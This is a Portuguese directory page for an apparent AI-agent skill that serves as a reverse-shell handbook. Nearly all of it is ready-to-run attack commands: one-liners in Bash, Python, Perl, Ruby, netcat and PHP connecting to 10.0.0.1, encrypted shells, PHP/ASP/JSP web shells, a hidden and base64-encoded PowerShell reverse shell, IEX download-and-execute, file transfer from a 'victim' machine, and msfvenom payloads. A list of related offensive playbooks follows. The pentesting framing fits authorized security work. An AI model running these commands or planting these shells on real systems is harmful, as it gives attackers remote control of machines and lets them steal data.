yaklang/técnicas-de-reverse-shell

Manual de técnicas de reverse shell. Use ao estabelecer shells remotas, incluindo one-liners em linguagens, shells criptografadas (OpenSSL/socat/ncat), web shells, upgrades de PTY, métodos de transferência de arquivos, shells PowerShell e geração de payloads para Windows.

O que é técnicas-de-reverse-shell?

Este conjunto de habilidades (skill) fornece um abrangente guia de técnicas de reverse shell, essencial para desenvolvedores, administradores de sistemas e profissionais de segurança que precisam estabelecer shells remotas de forma eficiente e flexível durante testes de penetração, depuração remota ou cenários de acesso pós-exploração. A skill abrange one-liners para diversas linguagens (Python, Bash, Perl, Ruby, etc.), shells criptografadas com OpenSSL, socat e ncat, web shells, upgrades de PTY para interatividade, métodos de transferência de arquivos via Netcat, Python, SMB e TFTP, shells PowerShell avançadas e geração de payloads para Windows com msfvenom. É compatível com plataformas Linux e Windows, oferecendo exemplos práticos e comandos prontos para uso, ideal para integração com ferramentas como Cursor, Claude Code e Codex. O guia organiza as técnicas em categorias claras, facilitando a consulta rápida durante o desenvolvimento ou operações de segurança.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/reverse-shell-techniques

Installed? Explore more Programação e Desenvolvimento skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que técnicas-de-reverse-shell faz?

Guia de técnicas de reverse shell. Use ao estabelecer shells remotas, incluindo one-liners em linguagens, shells criptografadas (OpenSSL/socat/ncat), web shells, upgrades de PTY, métodos de transferência de arquivos, shells PowerShell e geração de payloads para Windows.

One-liners em Linguagens

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat Tradicional

nc -e /bin/sh 10.0.0.1 1234

Netcat sem -e

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Shells Criptografadas

OpenSSL

Receptor:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4443

Cliente:

openssl s_client -quiet -connect 10.0.0.1:4443

Socat

Receptor:

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork STDIO

Cliente:

socat OPENSSL-CONNECT:10.0.0.1:443,verify=0 EXEC:/bin/sh

Ncat (Nmap)

Receptor:

ncat -lvnp 443 --ssl

Cliente:

ncat -v 10.0.0.1 443 --ssl -e /bin/sh

Web Shells

PHP Web Shell

<?php system($_GET['cmd']); ?>

ASP Web Shell

<% Execute(Request("cmd")) %>

JSP Web Shell

<%= Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Upgrades de PTY

Python PTY

python -c 'import pty;pty.spawn("/bin/bash")'

Script PTY

script /dev/null -c bash

Socat PTY

socat file:`tty`,raw,echo=0 tcp-listen:4443

Configuração Completa de PTY

# Em sua máquina local:
stty raw -echo
fg
# Na shell remota:
reset
stty rows 40 columns 120
export TERM=xterm-256color

Métodos de Transferência de Arquivos

Python

# Iniciar servidor (na máquina vítima):
python3 -m http.server 8080
# Baixar (na sua máquina):
wget http://10.0.0.1:8080/arquivo

Netcat

# Receptor:
nc -lvnp 4444 > arquivo
# Remetente:
nc 10.0.0.1 4444 < arquivo

SMB

# Na sua máquina:
smbserver.py compartilhamento .
# Na vítima:
copy \\10.0.0.1\compartilhamento\arquivo .

TFTP

# Iniciar servidor TFTP:
atftpd --daemon --port 69 /tftp
# Na vítima:
tftp 10.0.0.1 GET arquivo

PowerShell - Baixar Arquivo

(New-Object System.Net.WebClient).DownloadFile("http://example.com/arquivo", "C:\Windows\Temp\arquivo")

PowerShell - IEX Download + Execução

IEX (New-Object System.Net.WebClient).DownloadString("http://example.com/script.ps1")

Shells PowerShell

One-liner Básico

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

One-liner com Encoded Command

powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMAAuADAALgAxACIALAA0ADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIgAgADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAAoA

Geração de Payloads para Windows (msfvenom)

Payload Reverse TCP (staged)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f exe > shell.exe

Payload Reverse TCP (stageless)

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f exe > shell.exe

Payload PowerShell

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f psh-reflection > shell.ps1

Payload Base64 para CMD

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f exe -o shell.b64

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Habilidades Relacionadas